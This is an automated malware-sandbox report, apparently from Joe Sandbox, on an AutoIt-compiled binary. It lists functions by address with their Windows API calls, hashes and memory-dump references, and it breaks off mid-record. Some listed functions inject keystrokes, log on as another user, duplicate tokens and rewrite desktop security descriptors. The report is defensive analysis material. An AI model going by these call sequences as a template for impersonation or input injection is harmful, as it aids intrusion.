Part of subcall function 001B4E59: FreeLibrary.KERNEL32(00000000,?,?,001F3CDE,?,00281418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 001B4E87

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 6ac5b42282518a2dfe31bbbeb36eb788065e2f35bd00a69c74c79f15cf182af9
Instruction ID: 0aef5d68697774a2ce8c5a3c46a2fa1488c2e5f5005084603436b5b30109dbcf
Opcode Fuzzy Hash: 6ac5b42282518a2dfe31bbbeb36eb788065e2f35bd00a69c74c79f15cf182af9
Instruction Fuzzy Hash: 1D11C432610205ABDB14FB68DC42BED77A59F60710F20842EF542A71C2EF74DA459B50

Function 001E8402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 001E8440

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 87beb952f35318f489a6f392ad75e9bfd3cb39f74f09205c356b9363ea11c30c
Instruction ID: eafc608a8a0105a19c7ab2d5ca145ce442184f1799415df148d92dc358f3d465
Opcode Fuzzy Hash: 87beb952f35318f489a6f392ad75e9bfd3cb39f74f09205c356b9363ea11c30c
Instruction Fuzzy Hash: 9D11487590410AAFCB05DF59E940A9E7BF4EF48314F104059F808AB352DB30EA11CBA4

Function 001DE602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: ddf33f837cdd92f6549d4e0de9d2644b0131bfe22d3c7635ce4c55c8bb68f1ae
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: DEF0F432510E1496C7353A6A9C05B9A33DC9F7233AF11071BF4259B3D2DB74E802CAA5

Function 001E3820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00281444,?,001CFDF5,?,?,001BA976,00000010,00281440,001B13FC,?,001B13C6,?,001B1129), ref: 001E3852

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1685ba3f24d223d4270ffe12dc088b4a8fe9b3b941bf5ad7e458d861f0c0da52
Instruction ID: 37986d45ab02f512525d6db0bef7f197783a817dd457db1f06b257dd64e3f7bc
Opcode Fuzzy Hash: 1685ba3f24d223d4270ffe12dc088b4a8fe9b3b941bf5ad7e458d861f0c0da52
Instruction Fuzzy Hash: 79E0E531101AA467D631266B9C0DF9F3748AB827B0F150326BC25935D0CB20DE0182E0

Function 001B4F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00281418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 001B4F6D

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 97cf5a9c32f17cf4391ceefe68fe8f01e30083b41ba2c2d244bf675950bdba36
Instruction ID: c5d2cd83cb5d4a116998cf237b675a55a89baa2c59b411c8e53a742953b3e977
Opcode Fuzzy Hash: 97cf5a9c32f17cf4391ceefe68fe8f01e30083b41ba2c2d244bf675950bdba36
Instruction Fuzzy Hash: 38F03971505752CFDB389F68E4948A2BBF4EF1432A320C97EE1EA83622C7319844DF50

Function 00242A55 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00242A66

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 2786d7652413bdc8cc2bc2ac0679fdfc70f86731f65ffdd17b50f3d26e1c779a
Instruction ID: 81538d47bc657d0731808e96fac106dce969642c861b4550e35da82a6f68eb8a
Opcode Fuzzy Hash: 2786d7652413bdc8cc2bc2ac0679fdfc70f86731f65ffdd17b50f3d26e1c779a
Instruction Fuzzy Hash: B9E04836370126EAC754EE31EC848F9739CEB613957504536FC1AD3100DF3099B586A0

Function 001B30F2 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000002,?), ref: 001B314E

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 07119518ac64cd2fb38e593a24b443662196a4393e97268add1b2eb2e5df2b88
Instruction ID: 42692eb932136a02e08e80c90575f8bc4d1bc215e8ab0d315400f5bc406182d1
Opcode Fuzzy Hash: 07119518ac64cd2fb38e593a24b443662196a4393e97268add1b2eb2e5df2b88
Instruction Fuzzy Hash: 80F0A7749003049FE7529B24EC4A7D57BBCA701708F0000E5E148962C2D7704799CF41

Function 001B2DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 001B2DC4

Part of subcall function 001B6B57: _wcslen.LIBCMT ref: 001B6B6A

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 7e9e42eb15bf01b1316a94195a0ba471efa9baafc61cd1bdc06f0aae04c4c8ce
Instruction ID: 9d25dfdc24ef8ad71f323e8e3b2d3a5c1e00d12e205ff6d46086f655c124377d
Opcode Fuzzy Hash: 7e9e42eb15bf01b1316a94195a0ba471efa9baafc61cd1bdc06f0aae04c4c8ce
Instruction Fuzzy Hash: 24E0CD766011245BC710D2589C05FEA77EDDFC8790F040071FD09D7248DBA4AD848550

Function 001B2B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 001B3837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 001B3908

Part of subcall function 001BD730: GetInputState.USER32 ref: 001BD807

SetCurrentDirectoryW.KERNEL32(?), ref: 001B2B6B

Part of subcall function 001B30F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 001B314E

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: ddfb02288305b8191b7cf20a6bcb7ab1d316172c677c33b0798bd1382ac634d5
Instruction ID: 1e3294cca8ff2a63808ec35ae3de4d5954e508b8c5592af5094416b5823f360a
Opcode Fuzzy Hash: ddfb02288305b8191b7cf20a6bcb7ab1d316172c677c33b0798bd1382ac634d5
Instruction Fuzzy Hash: 08E08C2630524806CA08BBB5B8A69EDB7599BF2355F40163EF152871A3DF248A6A8352

Function 001F039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,001F0704,?,?,00000000,?,001F0704,00000000,0000000C), ref: 001F03B7

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: cb67294304794444d14dc5f4a7eb5ae60803232daf87ca6b5561b73d693fa645
Instruction ID: 44a1792a312887e9a01f940c2e2618a939f4dd132a64c84fcb0ef7c2cbeb88fb
Opcode Fuzzy Hash: cb67294304794444d14dc5f4a7eb5ae60803232daf87ca6b5561b73d693fa645
Instruction Fuzzy Hash: 25D06C3204010DBBDF028F84ED06EDA3BAAFB48714F114000FE1C56020C732E821AB90

Function 001B1CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 001B1CBC

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: bf13a7dcba54632051259e0bd53f03a86beb6b37a97f6032297389a60cb2723b
Instruction ID: e9d9842af276505a8adf7a67e48098f3cb32b913267532a902925235180de844
Opcode Fuzzy Hash: bf13a7dcba54632051259e0bd53f03a86beb6b37a97f6032297389a60cb2723b
Instruction Fuzzy Hash: F7C0483A282204AAE2188B84BC4EF547768A348B01F948001F60AA95E382A22820AB50

Non-executed Functions

Function 00249576 Relevance: 74.1, APIs: 39, Strings: 3, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 001C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 001C9BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0024961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0024965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 0024969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 002496C9
SendMessageW.USER32 ref: 002496F2
GetKeyState.USER32(00000011), ref: 0024978B
GetKeyState.USER32(00000009), ref: 00249798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 002497AE
GetKeyState.USER32(00000010), ref: 002497B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 002497E9
SendMessageW.USER32 ref: 00249810
SendMessageW.USER32(?,00001030,?,00247E95), ref: 00249918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0024992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00249941
SetCapture.USER32(?), ref: 0024994A
ClientToScreen.USER32(?,?), ref: 002499AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 002499BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 002499D6
ReleaseCapture.USER32 ref: 002499E1
GetCursorPos.USER32(?), ref: 00249A19
ScreenToClient.USER32(?,?), ref: 00249A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 00249A80
SendMessageW.USER32 ref: 00249AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00249AEB
SendMessageW.USER32 ref: 00249B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00249B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00249B4A
GetCursorPos.USER32(?), ref: 00249B68
ScreenToClient.USER32(?,?), ref: 00249B75
GetParent.USER32(?), ref: 00249B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 00249BFA
SendMessageW.USER32 ref: 00249C2B
ClientToScreen.USER32(?,?), ref: 00249C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00249CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00249CDE
SendMessageW.USER32 ref: 00249D01
ClientToScreen.USER32(?,?), ref: 00249D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00249D82

Part of subcall function 001C9944: GetWindowLongW.USER32(?,000000EB), ref: 001C9952

GetWindowLongW.USER32(?,000000F0), ref: 00249E05

Strings

p#(, xrefs: 00249990
@GUI_DRAGID, xrefs: 0024997D
F, xrefs: 00249D07

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F$p#(
API String ID: 3429851547-3736874359
Opcode ID: 44a1602112246300ea19c20b7b37b23b037ea8cfb01254ec9cc57cfe46051868
Instruction ID: b3a4315cb608b2bbb744361207f349644a88c8e218b296c104ae1d61cc7391e2
Opcode Fuzzy Hash: 44a1602112246300ea19c20b7b37b23b037ea8cfb01254ec9cc57cfe46051868
Instruction Fuzzy Hash: 3E42BE34615202AFD729CF28DC48EABBBE9FF89310F114619F599872A1D771E8A0CF41

Function 001CF98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 001CF998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0020F474
IsIconic.USER32(00000000), ref: 0020F47D
ShowWindow.USER32(00000000,00000009), ref: 0020F48A
SetForegroundWindow.USER32(00000000), ref: 0020F494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0020F4AA
GetCurrentThreadId.KERNEL32 ref: 0020F4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0020F4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 0020F4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 0020F4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 0020F4DE
SetForegroundWindow.USER32(00000000), ref: 0020F4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 0020F4F6
keybd_event.USER32(00000012,00000000), ref: 0020F501
MapVirtualKeyW.USER32(00000012,00000000), ref: 0020F50B
keybd_event.USER32(00000012,00000000), ref: 0020F510
MapVirtualKeyW.USER32(00000012,00000000), ref: 0020F519
keybd_event.USER32(00000012,00000000), ref: 0020F51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 0020F528
keybd_event.USER32(00000012,00000000), ref: 0020F52D
SetForegroundWindow.USER32(00000000), ref: 0020F530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 0020F557

Strings

Shell_TrayWnd, xrefs: 0020F46F

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: d9c3b3ccbe8cb774ef587d8cc91f236d0188acefe25429bf9ff4707041fb14c1
Instruction ID: 857176b30bed918bdd8b74e72dab862d580265dc4eb7a9e530a27bdee8b72922
Opcode Fuzzy Hash: d9c3b3ccbe8cb774ef587d8cc91f236d0188acefe25429bf9ff4707041fb14c1
Instruction Fuzzy Hash: 6A315075A91318BBEB706FB95C4AFBF7E6CEB45B50F210025FA04F61D1C6B06D10AA60

Function 00211201 Relevance: 40.5, APIs: 19, Strings: 4, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 002116C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0021170D
Part of subcall function 002116C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0021173A
Part of subcall function 002116C3: GetLastError.KERNEL32 ref: 0021174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00211286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 002112A8
CloseHandle.KERNEL32(?), ref: 002112B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 002112D1
GetProcessWindowStation.USER32 ref: 002112EA
SetProcessWindowStation.USER32(00000000), ref: 002112F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00211310

Part of subcall function 002110BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,002111FC), ref: 002110D4
Part of subcall function 002110BF: CloseHandle.KERNEL32(?,?,002111FC), ref: 002110E9

Strings

, xrefs: 0021125A
default, xrefs: 0021130B
winsta0, xrefs: 002112CC
Z', xrefs: 00211392

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0$Z'
API String ID: 22674027-1455465207
Opcode ID: 7525668c7d374117f0b0328dc8b18e419b7c2aa6f3d755b40b199284462b6379
Instruction ID: 7ac61cfbb4b1216b4973c7947c51779355949a4737bfa5cb04e9b32fc8402062
Opcode Fuzzy Hash: 7525668c7d374117f0b0328dc8b18e419b7c2aa6f3d755b40b199284462b6379
Instruction Fuzzy Hash: 2881C271910209AFDF209FA8DC49FEE7BFDEF15B04F144129FA11A61A0D77189A4CB61

Function 00210B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002110F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00211114
Part of subcall function 002110F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00210B9B,?,?,?), ref: 00211120
Part of subcall function 002110F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00210B9B,?,?,?), ref: 0021112F
Part of subcall function 002110F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00210B9B,?,?,?), ref: 00211136
Part of subcall function 002110F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0021114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00210BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00210C00
GetLengthSid.ADVAPI32(?), ref: 00210C17
GetAce.ADVAPI32(?,00000000,?), ref: 00210C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00210C6D
GetLengthSid.ADVAPI32(?), ref: 00210C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00210C8C
HeapAlloc.KERNEL32(00000000), ref: 00210C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00210CB4
CopySid.ADVAPI32(00000000), ref: 00210CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00210CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00210D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00210D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00210D45
HeapFree.KERNEL32(00000000), ref: 00210D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00210D55
HeapFree.KERNEL32(00000000), ref: 00210D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00210D65
HeapFree.KERNEL32(00000000), ref: 00210D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 00210D78
HeapFree.KERNEL32(00000000), ref: 00210D7F

Part of subcall function 00211193: GetProcessHeap.KERNEL32(00000008,00210BB1,?,00000000,?,00210BB1,?), ref: 002111A1
Part of subcall function 00211193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00210BB1,?), ref: 002111A8
Part of subcall function 00211193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00210BB1,?), ref: 002111B7

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: e6f0eaa5bbe074c014d793f987a814c31851f8a176affe1edf5be8c4e1a0681e
Instruction ID: bf9304c9f2b2c86ec8d92fe8fe617a4f97cf8fc8ce164b090ca06328d84ed7ed
